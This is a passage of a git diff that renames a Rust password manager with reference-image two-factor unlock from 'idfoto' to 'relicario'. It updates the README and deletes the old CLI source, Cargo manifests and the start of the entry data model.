idfoto generate -l 32
relicario generate -l 32
```
### Environment variable
Set `IDFOTO_IMAGE=/path/to/reference.jpg` to avoid being prompted for the image path on every command.
Set `RELICARIO_IMAGE=/path/to/reference.jpg` to avoid being prompted for the image path on every command.
## The reference image
The reference JPEG is generated once during `idfoto init`. It looks like a normal photo — because it is one. The 256-bit secret is embedded in the DCT coefficients of the luminance channel using Quantization Index Modulation, with heavy redundancy and Reed-Solomon-style majority voting across multiple copies.
The reference JPEG is generated once during `relicario init`. It looks like a normal photo — because it is one. The 256-bit secret is embedded in the DCT coefficients of the luminance channel using Quantization Index Modulation, with heavy redundancy and Reed-Solomon-style majority voting across multiple copies.
The embedding survives:
- JPEG recompression (tested down to quality 85)
@@ -105,20 +109,20 @@ This means your reference image can live on your Instagram, your personal websit
## Architecture
```
idfoto/
relicario/
├── crates/
│ ├── idfoto-core/ # Platform-agnostic library (no filesystem, no network)
│ ├── relicario-core/ # Platform-agnostic library (no filesystem, no network)
│ │ ├── crypto.rs # Argon2id KDF + XChaCha20-Poly1305 AEAD
│ │ ├── imgsecret.rs # DCT steganography: embed/extract 256-bit secrets in JPEGs
│ │ ├── entry.rs # Entry, Manifest data model (serde)
│ │ └── vault.rs # Encrypt/decrypt entries and manifests
│ └── idfoto-cli/ # CLI binary: filesystem, git, terminal I/O
│ └── relicario-cli/ # CLI binary: filesystem, git, terminal I/O
└── docs/
└── superpowers/
└── specs/ # Design specification with full threat model
```
`idfoto-core` takes bytes and returns bytes. It has no knowledge of filesystems, git, or networks. This makes it portable to WASM (browser extension), Android (JNI), and iOS (Swift bridge).
`relicario-core` takes bytes and returns bytes. It has no knowledge of filesystems, git, or networks. This makes it portable to WASM (browser extension), Android (JNI), and iOS (Swift bridge).
### Crypto primitives
@@ -144,7 +148,7 @@ my-vault.git/
├── entries/
│ ├── a1b2c3d4.enc # One encrypted entry per file
│ └── e5f6a7b8.enc
└── .idfoto/
└── .relicario/
├── salt # 32-byte random salt (not secret)
├── params.json # KDF parameters
└── devices.json # Authorized device public keys
@@ -154,14 +158,14 @@ Entry IDs are random hex strings. Git history is preserved — every add/edit/de
## Device management
Each device generates its own ed25519 keypair. The public key is stored in `.idfoto/devices.json` (committed to the repo). Device keys are used for commit signing — they do NOT participate in vault decryption.
Each device generates its own ed25519 keypair. The public key is stored in `.relicario/devices.json` (committed to the repo). Device keys are used for commit signing — they do NOT participate in vault decryption.
Revoking a device: remove its key from `devices.json` and commit. No passphrase or reference image rotation needed.
```bash
idfoto device add --name laptop
idfoto device list
idfoto device revoke laptop
relicario device add --name laptop
relicario device list
relicario device revoke laptop
```
## Building
@@ -169,20 +173,20 @@ idfoto device revoke laptop
Requires Rust stable (1.70+).
```bash
git clone ssh://git@git.adlee.work:2222/alee/idfoto.git
cd idfoto
git clone ssh://git@git.adlee.work:2222/alee/relicario.git
cd relicario
cargo build --release
cargo test
```
The binary is at `target/release/idfoto`.
The binary is at `target/release/relicario`.
## Roadmap
- [ ] WASM build + Chrome browser extension (inline crypto, no native messaging)
- [ ] Secure notes (free-form encrypted text entries)
- [ ] Secure document storage (encrypted file attachments up to 5-10 MB)
- [ ] `idfoto unlock` daemon (ssh-agent-style, holds master key for a TTL)
- [ ] `relicario unlock` daemon (ssh-agent-style, holds master key for a TTL)
- [ ] Android/iOS clients (Rust core compiles to ARM)
- [ ] Import from LastPass/Bitwarden/1Password
- [ ] Firefox/Safari extensions

View File

@@ -1,22 +0,0 @@
[package]
name = "idfoto-cli"
version = "0.1.0"
edition = "2021"
description = "CLI for idfoto password manager"
[[bin]]
name = "idfoto"
path = "src/main.rs"
[dependencies]
idfoto-core = { path = "../idfoto-core" }
clap = { version = "4", features = ["derive"] }
anyhow = "1"
rpassword = "5"
arboard = "3"
dirs = "5"
hex = "0.4"
ed25519-dalek = { version = "2", features = ["rand_core"] }
rand = "0.8"
serde = { version = "1", features = ["derive"] }
serde_json = "1"

View File

@@ -1,891 +0,0 @@
//! idfoto CLI -- the platform layer for the idfoto password manager.
//!
//! This binary provides the filesystem, git, and terminal I/O that
//! [`idfoto_core`] intentionally excludes. It is the "glue" between the
//! platform-agnostic core library and the user's local environment.
//!
//! ## Vault layout on disk
//!
//! ```text
//! <vault_dir>/
//! .idfoto/
//! salt # 32-byte random salt for Argon2id KDF
//! params.json # KDF tuning parameters (m, t, p)
//! devices.json # registered device public keys
//! entries/
//! <id>.enc # individual encrypted entries
//! manifest.enc # encrypted entry index (name, url, username per entry)
//! .gitignore # excludes reference.jpg from version control
//! reference.jpg # the reference image with embedded secret (gitignored)
//! ```
//!
//! ## Unlock flow
//!
//! Every command that accesses vault data follows this sequence:
//!
//! 1. Locate the reference image (via `IDFOTO_IMAGE` env var or interactive prompt).
//! 2. Prompt for the passphrase (read from stderr, not echoed).
//! 3. Extract the 32-byte image secret from the reference JPEG via DCT steganography.
//! 4. Read the vault salt and KDF params from `.idfoto/`.
//! 5. Derive the master key: `Argon2id(passphrase || image_secret, salt, params)`.
//! 6. Use the master key to decrypt the manifest and/or individual entries.
//!
//! ## Git integration
//!
//! The CLI shells out to the `git` binary for all version control operations.
//! This avoids pulling in libgit2 or gitoxide as dependencies, keeping the
//! binary small and the build simple. Every mutation (add, edit, rm, device add/revoke)
//! creates a git commit, preserving an audit log of all vault changes.
use anyhow::{bail, Context, Result};
use clap::{Parser, Subcommand};
use idfoto_core::{
decrypt_entry, decrypt_manifest, encrypt_entry, encrypt_manifest, generate_entry_id,
Entry, KdfParams, Manifest, ManifestEntry,
};
use rand::rngs::OsRng;
use rand::RngCore;
use serde::{Deserialize, Serialize};
use std::fs;
use std::io::{self, BufRead, Write};
use std::path::PathBuf;
use std::process::Command;
// ─── CLI structure ──────────────────────────────────────────────────────────
/// Top-level CLI argument parser.
#[derive(Parser)]
#[command(
name = "idfoto",
version,
about = "Git-backed password manager with reference image authentication"
)]
struct Cli {
#[command(subcommand)]
command: Commands,
}
/// All available CLI subcommands.
#[derive(Subcommand)]
enum Commands {
/// Initialize a new idfoto vault in the current directory.
/// Creates the directory structure, generates a random image secret,
/// embeds it in the carrier image, and sets up git.
Init {
/// Path to the carrier JPEG image to embed the secret into.
#[arg(long)]
image: PathBuf,
/// Output path for the reference image (with embedded secret).
#[arg(long, default_value = "reference.jpg")]
output: PathBuf,
},
/// Add a new password entry to the vault.
/// Prompts interactively for name, URL, username, password, notes, and TOTP.
Add,
/// Get a password entry by name (fuzzy search).
/// Decrypts and displays the full entry, and copies the password to clipboard
/// with a 30-second auto-clear.
Get { name: String },
/// List all entries in the vault (names, URLs, usernames only -- no passwords).
List,
/// Edit an existing entry by name (fuzzy search).
/// Shows current values and lets you selectively update fields.
Edit { name: String },
/// Remove an entry from the vault by name (fuzzy search).
/// Prompts for confirmation before deleting.
Rm { name: String },
/// Sync the vault with the git remote (pull --rebase, then push).
Sync,
/// Generate a random password and print it to stdout.
Generate {
/// Length of the generated password in characters.
#[arg(short, long, default_value = "20")]
length: usize,
},
/// Manage device keys (add, list, revoke).
/// Device ed25519 keys are independent of the vault KDF -- revoking a device
/// does not require changing the passphrase or reference image.
Device {
#[command(subcommand)]
action: DeviceCommands,
},
}
/// Subcommands for device key management.
#[derive(Subcommand)]
enum DeviceCommands {
/// Register a new device by generating an ed25519 keypair.
/// The private key is saved to the user's config directory;
/// the public key is added to the vault's devices.json.
Add {
/// Human-readable name for this device (e.g., "macbook", "phone").
#[arg(long)]
name: String,
},
/// List all registered devices and their public keys.
List,
/// Revoke a device by removing its public key from devices.json.
/// This does NOT rotate the vault key -- the device can no longer
/// authenticate, but the vault encryption is unchanged.
Revoke { name: String },
}
// ─── Device entry ───────────────────────────────────────────────────────────
/// A registered device, stored in `.idfoto/devices.json`.
///
/// Each device has an ed25519 keypair. The private key lives on the device
/// itself (in the user's config directory); only the public key is stored
/// in the vault. This separation means revoking a device is a metadata-only
/// operation that does not affect the vault's encryption key.
#[derive(Debug, Clone, Serialize, Deserialize)]
struct DeviceEntry {
/// Human-readable device name (e.g., "macbook-pro", "pixel-7").
name: String,
/// Hex-encoded ed25519 public key (64 hex chars = 32 bytes).
public_key: String, // hex-encoded
}
// ─── Helper functions ───────────────────────────────────────────────────────
/// Returns the vault root directory (the current working directory).
/// The vault is always rooted at the directory where `idfoto` is invoked.
fn vault_dir() -> PathBuf {
std::env::current_dir().expect("failed to get current directory")
}
/// Returns the path to the `.idfoto/` configuration directory within the vault.
fn idfoto_dir() -> PathBuf {
vault_dir().join(".idfoto")
}
/// Read the 32-byte vault salt from `.idfoto/salt`.
///
/// The salt is generated once during `init` and is unique per vault. It is
/// not secret (stored in plaintext) -- its purpose is to prevent precomputed
/// rainbow table attacks against the Argon2id KDF.
fn read_salt() -> Result<[u8; 32]> {
let data = fs::read(idfoto_dir().join("salt")).context("failed to read salt")?;
let mut salt = [0u8; 32];
if data.len() != 32 {
bail!("invalid salt file: expected 32 bytes, got {}", data.len());
}
salt.copy_from_slice(&data);
Ok(salt)
}
/// Read the KDF parameters from `.idfoto/params.json`.
fn read_params() -> Result<KdfParams> {
let data = fs::read_to_string(idfoto_dir().join("params.json"))
.context("failed to read params.json")?;
let params: KdfParams = serde_json::from_str(&data).context("failed to parse params.json")?;
Ok(params)
}
/// Locate the reference image path.
///
/// First checks the `IDFOTO_IMAGE` environment variable (useful for scripting
/// and testing). If not set, prompts the user interactively.
fn get_image_path() -> Result<PathBuf> {
if let Ok(path) = std::env::var("IDFOTO_IMAGE") {
return Ok(PathBuf::from(path));
}
let path = prompt("Reference image path")?;
Ok(PathBuf::from(path))
}
/// Perform the two-factor unlock sequence and return the derived master key.
///
/// This is the core authentication flow used by every vault-access command:
/// 1. Prompt for the passphrase (via rpassword, not echoed to terminal).
/// 2. Read and decode the reference JPEG, extracting the steganographic secret.
/// 3. Load the vault salt and KDF params.
/// 4. Derive the master key via Argon2id(passphrase || image_secret, salt).
fn unlock(image_path: &PathBuf) -> Result<[u8; 32]> {
let passphrase = rpassword::prompt_password_stderr("Passphrase: ").context("failed to read passphrase")?;
let jpeg_data = fs::read(image_path).context("failed to read reference image")?;
let image_secret =
idfoto_core::imgsecret::extract(&jpeg_data).context("failed to extract image secret")?;
let salt = read_salt()?;
let params = read_params()?;
let master_key = idfoto_core::derive_master_key(passphrase.as_bytes(), &image_secret, &salt, &params)
.context("failed to derive master key")?;
Ok(master_key)
}
/// Decrypt and return the vault manifest.
fn read_manifest(key: &[u8; 32]) -> Result<Manifest> {
let data = fs::read(vault_dir().join("manifest.enc")).context("failed to read manifest.enc")?;
let manifest = decrypt_manifest(key, &data).context("failed to decrypt manifest")?;
Ok(manifest)
}
/// Encrypt and write the vault manifest to disk.
fn write_manifest(key: &[u8; 32], manifest: &Manifest) -> Result<()> {
let data = encrypt_manifest(key, manifest).context("failed to encrypt manifest")?;
fs::write(vault_dir().join("manifest.enc"), data).context("failed to write manifest.enc")?;
Ok(())
}
/// Stage all changes and create a git commit with the given message.
///
/// Every vault mutation is committed to preserve a full audit log in git history.
/// The CLI shells out to the `git` binary rather than using a Rust git library
/// to keep dependencies minimal.
fn git_commit(message: &str) -> Result<()> {
let status = Command::new("git")
.args(["add", "-A"])
.status()
.context("failed to run git add")?;
if !status.success() {
bail!("git add failed");
}
let status = Command::new("git")
.args(["commit", "-m", message])
.status()
.context("failed to run git commit")?;
if !status.success() {
bail!("git commit failed");
}
Ok(())
}
/// Return the current time as a Unix timestamp string.
///
/// Uses seconds since epoch rather than a formatted ISO 8601 string to avoid
/// pulling in chrono or time crate dependencies.
fn now_iso8601() -> String {
let duration = std::time::SystemTime::now()
.duration_since(std::time::UNIX_EPOCH)
.unwrap_or_default();
format!("{}", duration.as_secs())
}
/// Prompt the user for input via stderr (so stdout remains clean for piping).
fn prompt(message: &str) -> Result<String> {
eprint!("{}: ", message);
io::stderr().flush()?;
let mut line = String::new();
io::stdin().lock().read_line(&mut line)?;
Ok(line.trim().to_string())
}
/// Prompt for an optional field. Returns `None` if the user enters an empty string.
fn prompt_optional(message: &str) -> Result<Option<String>> {
let value = prompt(message)?;
if value.is_empty() {
Ok(None)
} else {
Ok(Some(value))
}
}
/// Prompt for a field with a default value shown in brackets.
/// If the user presses Enter without typing, the current value is kept.
fn prompt_with_default(field: &str, current: &str) -> Result<String> {
eprint!("{} [{}]: ", field, current);
io::stderr().flush()?;
let mut line = String::new();
io::stdin().lock().read_line(&mut line)?;
let trimmed = line.trim();
if trimmed.is_empty() {
Ok(current.to_string())
} else {
Ok(trimmed.to_string())
}
}
/// Generate a random password of the given length using a mixed character set.
///
/// The charset includes lowercase, uppercase, digits, and common symbols.
/// Each character is selected uniformly at random via the OS CSPRNG.
fn generate_password(length: usize) -> String {
const CHARSET: &[u8] = b"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%^&*()-_=+";
let mut rng = OsRng;
(0..length)
.map(|_| {
let idx = (rng.next_u32() as usize) % CHARSET.len();
CHARSET[idx] as char
})
.collect()
}
// ─── Command implementations ────────────────────────────────────────────────
/// Initialize a new idfoto vault in the current directory.
///
/// Full sequence:
/// 1. Read the carrier JPEG provided by the user.
/// 2. Generate a random 32-byte image secret.
/// 3. Embed the secret into the carrier via DCT steganography.
/// 4. Save the resulting reference JPEG (this is the user's second factor).
/// 5. Prompt for a passphrase (minimum 8 characters, with confirmation).
/// 6. Generate a random 32-byte salt.
/// 7. Derive the master key from passphrase + image_secret + salt.
/// 8. Create the vault directory structure (.idfoto/, entries/).
/// 9. Write salt, KDF params, empty devices list, and encrypted empty manifest.
/// 10. Initialize git and create the first commit.
fn cmd_init(image: PathBuf, output: PathBuf) -> Result<()> {
// 1. Read carrier JPEG
let carrier = fs::read(&image).context("failed to read carrier image")?;
// 2. Generate random image_secret
let mut image_secret = [0u8; 32];
OsRng.fill_bytes(&mut image_secret);
// 3. Embed secret into carrier
let reference_jpeg =
idfoto_core::imgsecret::embed(&carrier, &image_secret).context("failed to embed secret")?;
// 4. Save reference JPEG
fs::write(&output, &reference_jpeg).context("failed to write reference image")?;
eprintln!("Reference image saved to {}", output.display());
// 5. Prompt for passphrase
let passphrase = loop {
let p1 = rpassword::prompt_password_stderr("Passphrase (min 8 chars): ")
.context("failed to read passphrase")?;
if p1.len() < 8 {
eprintln!("Passphrase must be at least 8 characters.");
continue;
}
let p2 = rpassword::prompt_password_stderr("Confirm passphrase: ")
.context("failed to read passphrase confirmation")?;
if p1 != p2 {
eprintln!("Passphrases do not match.");
continue;
}
break p1;
};
// 6. Generate random salt
let mut salt = [0u8; 32];
OsRng.fill_bytes(&mut salt);
// 7. Derive master key
let params = KdfParams::default();
let master_key = idfoto_core::derive_master_key(passphrase.as_bytes(), &image_secret, &salt, &params)
.context("failed to derive master key")?;
// 8. Create directory structure
let idfoto = idfoto_dir();
fs::create_dir_all(&idfoto).context("failed to create .idfoto directory")?;
fs::create_dir_all(vault_dir().join("entries")).context("failed to create entries directory")?;
// 9. Write config files
fs::write(idfoto.join("salt"), &salt).context("failed to write salt")?;
fs::write(
idfoto.join("params.json"),
serde_json::to_string_pretty(&params)?,
)
.context("failed to write params.json")?;
fs::write(idfoto.join("devices.json"), "[]").context("failed to write devices.json")?;
// 10. Encrypt empty manifest
let manifest = Manifest::new();
let manifest_enc = encrypt_manifest(&master_key, &manifest).context("failed to encrypt manifest")?;
fs::write(vault_dir().join("manifest.enc"), manifest_enc)
.context("failed to write manifest.enc")?;
// 11. Create .gitignore (exclude reference image from version control --
// it contains the steganographic secret and must be kept offline)
fs::write(vault_dir().join(".gitignore"), "reference.jpg\n")
.context("failed to write .gitignore")?;
// 12. Git init and commit
let status = Command::new("git").arg("init").status()?;
if !status.success() {
bail!("git init failed");
}
git_commit("feat: initialize idfoto vault")?;
// 13. Success
eprintln!("Vault initialized successfully.");
eprintln!("IMPORTANT: Keep your reference image safe — you need it to unlock the vault.");
Ok(())
}
/// Generate a random password and print it to stdout.
fn cmd_generate(length: usize) -> Result<()> {
println!("{}", generate_password(length));
Ok(())
}
/// Add a new entry to the vault.
///
/// Prompts for all fields, encrypts the entry, writes it to `entries/<id>.enc`,
/// updates the manifest, and commits the change to git.
fn cmd_add() -> Result<()> {
let image_path = get_image_path()?;
let master_key = unlock(&image_path)?;
let name = prompt("Name")?;
if name.is_empty() {
bail!("Name cannot be empty");
}
let url = prompt_optional("URL (optional)")?;
let username = prompt_optional("Username (optional)")?;
let password = {
let p = prompt_optional("Password (Enter to auto-generate)")?;
match p {
Some(pw) if !pw.is_empty() => pw,
_ => {
let gen = generate_password(20);
eprintln!("Generated password: {}", gen);
gen
}
}
};
let notes = prompt_optional("Notes (optional)")?;
let totp_secret = prompt_optional("TOTP secret (optional)")?;
let now = now_iso8601();
let entry = Entry {
name: name.clone(),
url: url.clone(),
username: username.clone(),
password,
notes,
totp_secret,
group: None,
created_at: now.clone(),
updated_at: now.clone(),
};
let entry_id = generate_entry_id();
let encrypted = encrypt_entry(&master_key, &entry).context("failed to encrypt entry")?;
fs::write(
vault_dir().join("entries").join(format!("{}.enc", entry_id)),
encrypted,
)
.context("failed to write entry file")?;
let mut manifest = read_manifest(&master_key)?;
manifest.add_entry(
entry_id.clone(),
ManifestEntry {
name: name.clone(),
url,
username,
group: None,
updated_at: now,
},
);
write_manifest(&master_key, &manifest)?;
git_commit(&format!("feat: add entry '{}'", name))?;
eprintln!("Entry '{}' added (id: {})", name, entry_id);
Ok(())
}
/// Search the manifest for entries matching a query and let the user select one.
///
/// If exactly one entry matches, it is returned immediately. If multiple match,
/// the user is shown a numbered list and prompted to choose.
fn search_and_select(manifest: &Manifest, query: &str) -> Result<(String, ManifestEntry)> {
let results = manifest.search(query);
if results.is_empty() {
bail!("no entries matching '{}'", query);
}
if results.len() == 1 {
let (id, entry) = results[0];
return Ok((id.clone(), entry.clone()));
}
eprintln!("Multiple matches:");
for (i, (id, entry)) in results.iter().enumerate() {
eprintln!(
" {}) {} (id: {}, url: {})",
i + 1,
entry.name,
id,
entry.url.as_deref().unwrap_or("-")
);
}
let choice = prompt("Choose entry number")?;
let idx: usize = choice.parse::<usize>().context("invalid number")? - 1;
if idx >= results.len() {
bail!("invalid selection");
}
let (id, entry) = results[idx];
Ok((id.clone(), entry.clone()))
}
/// Retrieve and display a vault entry, and copy its password to the clipboard.
///
/// The password is auto-cleared from the clipboard after 30 seconds to limit
/// exposure. The clipboard clear is best-effort (a background thread checks
/// whether the clipboard still contains the password before clearing).
fn cmd_get(query: String) -> Result<()> {
let image_path = get_image_path()?;
let master_key = unlock(&image_path)?;
let manifest = read_manifest(&master_key)?;
let (entry_id, _) = search_and_select(&manifest, &query)?;
let data = fs::read(vault_dir().join("entries").join(format!("{}.enc", entry_id)))
.context("failed to read entry file")?;
let entry = decrypt_entry(&master_key, &data).context("failed to decrypt entry")?;
println!("Name: {}", entry.name);
println!(
"URL: {}",
entry.url.as_deref().unwrap_or("-")
);
println!(
"Username: {}",
entry.username.as_deref().unwrap_or("-")
);
println!("Password: {}", entry.password);
if let Some(notes) = &entry.notes {
println!("Notes: {}", notes);
}
if let Some(totp) = &entry.totp_secret {
println!("TOTP: {}", totp);
}
// Copy password to clipboard with 30s TTL.
// Uses arboard for cross-platform clipboard access.
// The clear is done in a background thread: after 30 seconds, if the
// clipboard still contains this password, it is replaced with an empty string.
match arboard::Clipboard::new() {
Ok(mut clipboard) => {
if clipboard.set_text(&entry.password).is_ok() {
eprintln!("Password copied to clipboard (clearing in 30s)");
let pw = entry.password.clone();
std::thread::spawn(move || {
std::thread::sleep(std::time::Duration::from_secs(30));
if let Ok(mut cb) = arboard::Clipboard::new() {
if let Ok(current) = cb.get_text() {
if current == pw {
let _ = cb.set_text("");
}
}
}
});
}
}
Err(_) => {
eprintln!("(clipboard unavailable)");
}
}
Ok(())
}
/// List all vault entries in alphabetical order.
///
/// Only shows non-sensitive metadata (name, URL, username) from the manifest.
/// Individual entry files are not decrypted.
fn cmd_list() -> Result<()> {
let image_path = get_image_path()?;
let master_key = unlock(&image_path)?;
let manifest = read_manifest(&master_key)?;
let mut entries: Vec<_> = manifest.entries.iter().collect();
entries.sort_by(|a, b| a.1.name.to_lowercase().cmp(&b.1.name.to_lowercase()));
if entries.is_empty() {
eprintln!("No entries in vault.");
return Ok(());
}
println!("{:<10} {:<30} {:<30} {}", "ID", "Name", "URL", "Username");
println!("{}", "-".repeat(80));
for (id, entry) in entries {
println!(
"{:<10} {:<30} {:<30} {}",
id,
entry.name,
entry.url.as_deref().unwrap_or("-"),
entry.username.as_deref().unwrap_or("-")
);
}
Ok(())
}
/// Edit an existing entry by searching for it, showing current values, and
/// prompting for new values. Unchanged fields keep their current value.
fn cmd_edit(query: String) -> Result<()> {
let image_path = get_image_path()?;
let master_key = unlock(&image_path)?;
let manifest = read_manifest(&master_key)?;
let (entry_id, _) = search_and_select(&manifest, &query)?;
let data = fs::read(vault_dir().join("entries").join(format!("{}.enc", entry_id)))
.context("failed to read entry file")?;
let entry = decrypt_entry(&master_key, &data).context("failed to decrypt entry")?;
eprintln!("Editing '{}' (Enter to keep current value)", entry.name);
let name = prompt_with_default("Name", &entry.name)?;
let url = prompt_with_default("URL", entry.url.as_deref().unwrap_or(""))?;
let url = if url.is_empty() { None } else { Some(url) };
let username = prompt_with_default("Username", entry.username.as_deref().unwrap_or(""))?;
let username = if username.is_empty() {
None
} else {
Some(username)
};
let password = prompt_with_default("Password", &entry.password)?;
let notes = prompt_with_default("Notes", entry.notes.as_deref().unwrap_or(""))?;
let notes = if notes.is_empty() { None } else { Some(notes) };
let totp_secret = prompt_with_default("TOTP secret", entry.totp_secret.as_deref().unwrap_or(""))?;
let totp_secret = if totp_secret.is_empty() {
None
} else {
Some(totp_secret)
};
let now = now_iso8601();
let updated_entry = Entry {
name: name.clone(),
url: url.clone(),
username: username.clone(),
password,
notes,
totp_secret,
group: entry.group,
created_at: entry.created_at,
updated_at: now.clone(),
};
let encrypted = encrypt_entry(&master_key, &updated_entry).context("failed to encrypt entry")?;
fs::write(
vault_dir().join("entries").join(format!("{}.enc", entry_id)),
encrypted,
)
.context("failed to write entry file")?;
let mut manifest = read_manifest(&master_key)?;
manifest.add_entry(
entry_id,
ManifestEntry {
name: name.clone(),
url,
username,
group: updated_entry.group,
updated_at: now,
},
);
write_manifest(&master_key, &manifest)?;
git_commit(&format!("feat: edit entry '{}'", name))?;
eprintln!("Entry '{}' updated.", name);
Ok(())
}
/// Remove an entry from the vault after confirmation.
///
/// Deletes the encrypted entry file, removes the entry from the manifest,
/// and commits the change to git.
fn cmd_rm(query: String) -> Result<()> {
let image_path = get_image_path()?;
let master_key = unlock(&image_path)?;
let manifest = read_manifest(&master_key)?;
let (entry_id, entry) = search_and_select(&manifest, &query)?;
let confirm = prompt(&format!("Delete '{}' (id: {})? [y/N]", entry.name, entry_id))?;
if confirm.to_lowercase() != "y" {
eprintln!("Cancelled.");
return Ok(());
}
let entry_path = vault_dir()
.join("entries")
.join(format!("{}.enc", entry_id));
if entry_path.exists() {
fs::remove_file(&entry_path).context("failed to remove entry file")?;
}
let mut manifest = read_manifest(&master_key)?;
manifest.remove_entry(&entry_id);
write_manifest(&master_key, &manifest)?;
git_commit(&format!("feat: remove entry '{}'", entry.name))?;
eprintln!("Entry '{}' removed.", entry.name);
Ok(())
}
/// Sync the vault with the git remote.
///
/// Performs `git pull --rebase` followed by `git push`. Rebase is used instead
/// of merge to keep the commit history linear, which is important for the
/// audit log use case.
fn cmd_sync() -> Result<()> {
eprintln!("Pulling...");
let status = Command::new("git")
.args(["pull", "--rebase"])
.status()
.context("failed to run git pull")?;
if !status.success() {
bail!("git pull --rebase failed");
}
eprintln!("Pushing...");
let status = Command::new("git")
.arg("push")
.status()
.context("failed to run git push")?;
if !status.success() {
bail!("git push failed");
}
eprintln!("Sync complete.");
Ok(())
}
// ─── Device management ──────────────────────────────────────────────────────
/// Read the device registry from `.idfoto/devices.json`.
fn read_devices() -> Result<Vec<DeviceEntry>> {
let path = idfoto_dir().join("devices.json");
let data = fs::read_to_string(&path).context("failed to read devices.json")?;
let devices: Vec<DeviceEntry> = serde_json::from_str(&data).context("failed to parse devices.json")?;
Ok(devices)
}
/// Write the device registry to `.idfoto/devices.json`.
fn write_devices(devices: &[DeviceEntry]) -> Result<()> {
let data = serde_json::to_string_pretty(devices)?;
fs::write(idfoto_dir().join("devices.json"), data).context("failed to write devices.json")?;
Ok(())
}
/// Register a new device by generating an ed25519 keypair.
///
/// The private key is saved to `~/.config/idfoto/<name>.key` with
/// restrictive permissions (0600 on Unix). The public key is added to
/// the vault's devices.json and committed to git.
///
/// Device keys are independent of the vault encryption key -- revoking a
/// device does not require rotating the passphrase or reference image.
fn cmd_device_add(name: String) -> Result<()> {
use ed25519_dalek::SigningKey;
let mut devices = read_devices()?;
// Check for duplicate device names
if devices.iter().any(|d| d.name == name) {
bail!("device '{}' already exists", name);
}
// Generate ed25519 keypair using the OS CSPRNG
let signing_key = SigningKey::generate(&mut OsRng);
let verifying_key = signing_key.verifying_key();
let private_key_hex = hex::encode(signing_key.to_bytes());
let public_key_hex = hex::encode(verifying_key.to_bytes());
// Save private key to the user's config directory (NOT in the vault)
let config_dir = dirs::config_dir()
.context("failed to find config directory")?
.join("idfoto");
fs::create_dir_all(&config_dir).context("failed to create config directory")?;
let key_path = config_dir.join(format!("{}.key", name));
fs::write(&key_path, &private_key_hex).context("failed to write private key")?;
// Set restrictive permissions on the key file (Unix only)
#[cfg(unix)]
{
use std::os::unix::fs::PermissionsExt;
fs::set_permissions(&key_path, fs::Permissions::from_mode(0o600))?;
}
// Add public key to the vault's device registry
devices.push(DeviceEntry {
name: name.clone(),
public_key: public_key_hex,
});
write_devices(&devices)?;
git_commit(&format!("feat: add device '{}'", name))?;
eprintln!("Device '{}' added.", name);
eprintln!("Private key saved to {}", key_path.display());
Ok(())
}
/// List all registered devices with their public keys.
fn cmd_device_list() -> Result<()> {
let devices = read_devices()?;
if devices.is_empty() {
eprintln!("No devices registered.");
return Ok(());
}
println!("{:<20} {}", "Name", "Public Key");
println!("{}", "-".repeat(60));
for device in &devices {
println!("{:<20} {}", device.name, device.public_key);
}
Ok(())
}
/// Revoke a device by removing it from the device registry.
///
/// This is a metadata-only operation: the device's public key is removed from
/// devices.json, but the vault encryption key is NOT rotated. The revoked
/// device can no longer authenticate via its ed25519 key, but if it had
/// previously derived the master key (via passphrase + image), that key
/// remains valid until the user changes their passphrase or reference image.
fn cmd_device_revoke(name: String) -> Result<()> {
let mut devices = read_devices()?;
let initial_len = devices.len();
devices.retain(|d| d.name != name);
if devices.len() == initial_len {
bail!("device '{}' not found", name);
}
write_devices(&devices)?;
git_commit(&format!("feat: revoke device '{}'", name))?;
eprintln!("Device '{}' revoked.", name);
Ok(())
}
// ─── Main ───────────────────────────────────────────────────────────────────
/// Entry point: parse CLI arguments and dispatch to the appropriate command handler.
fn main() -> Result<()> {
let cli = Cli::parse();
match cli.command {
Commands::Init { image, output } => cmd_init(image, output),
Commands::Add => cmd_add(),
Commands::Get { name } => cmd_get(name),
Commands::List => cmd_list(),
Commands::Edit { name } => cmd_edit(name),
Commands::Rm { name } => cmd_rm(name),
Commands::Sync => cmd_sync(),
Commands::Generate { length } => cmd_generate(length),
Commands::Device { action } => match action {
DeviceCommands::Add { name } => cmd_device_add(name),
DeviceCommands::List => cmd_device_list(),
DeviceCommands::Revoke { name } => cmd_device_revoke(name),
},
}
}

View File

@@ -1,18 +0,0 @@
[package]
name = "idfoto-core"
version = "0.1.0"
edition = "2021"
description = "Core library for idfoto password manager"
[dependencies]
thiserror = "2"
serde = { version = "1", features = ["derive"] }
serde_json = "1"
argon2 = "0.5"
chacha20poly1305 = "0.10"
rand = "0.8"
sha2 = "0.10"
ed25519-dalek = { version = "2", features = ["rand_core"] }
image = { version = "0.25", default-features = false, features = ["jpeg"] }
[dev-dependencies]

View File

@@ -1,335 +0,0 @@
//! Vault data model: entries, manifest entries, and the manifest index.
//!
//! The vault stores credentials in two tiers:
//!
//! 1. **Individual entries** (`entries/<id>.enc`): each file contains a single
//! [`Entry`] encrypted with the master key. Only decrypted when the user
//! needs to read or edit a specific credential.
//!
//! 2. **Manifest** (`manifest.enc`): a single encrypted file containing a
//! [`Manifest`] -- a map from entry IDs to [`ManifestEntry`] summaries.
//! This lets the CLI list and search entries by decrypting only one file,
//! rather than decrypting every entry in the vault.
//!
//! ## Entry IDs
//!
//! Entry IDs are random 8-character lowercase hex strings (4 bytes of entropy,
//! ~4 billion possible values). This is sufficient for family-scale vaults while
//! keeping filenames short and filesystem-friendly.
//!
//! ## Serialization strategy
//!
//! All structs derive `Serialize`/`Deserialize` for JSON encoding. Optional fields
//! use `#[serde(skip_serializing_if = "Option::is_none")]` to keep the JSON compact
//! -- omitting null fields reduces ciphertext size and avoids leaking structural
//! information about which optional fields a credential uses.
use rand::Rng;
use serde::{Deserialize, Serialize};
use std::collections::HashMap;
/// A full credential entry stored encrypted in `entries/<id>.enc`.
///
/// Contains all sensitive data for a single credential. Each entry is encrypted
/// independently, so accessing one entry does not require decrypting others.
///
/// ## Fields
///
/// - `name`: human-readable label (e.g., "GitHub", "Work Email"). Required.
/// - `url`: the login URL. Optional; used for autofill matching in the browser extension.
/// - `username`: the account username or email. Optional.
/// - `password`: the credential password. Required (this is the core secret).
/// - `notes`: free-form text (e.g., security questions, recovery codes). Optional.
/// - `totp_secret`: base32-encoded TOTP secret for 2FA. Optional.
/// - `created_at`: ISO 8601 timestamp (or Unix seconds) when the entry was created.
/// - `updated_at`: ISO 8601 timestamp (or Unix seconds) of the last modification.
/// - `group`: optional group label for organizing entries (e.g. "work", "personal").
#[derive(Debug, Clone, Serialize, Deserialize)]
pub struct Entry {
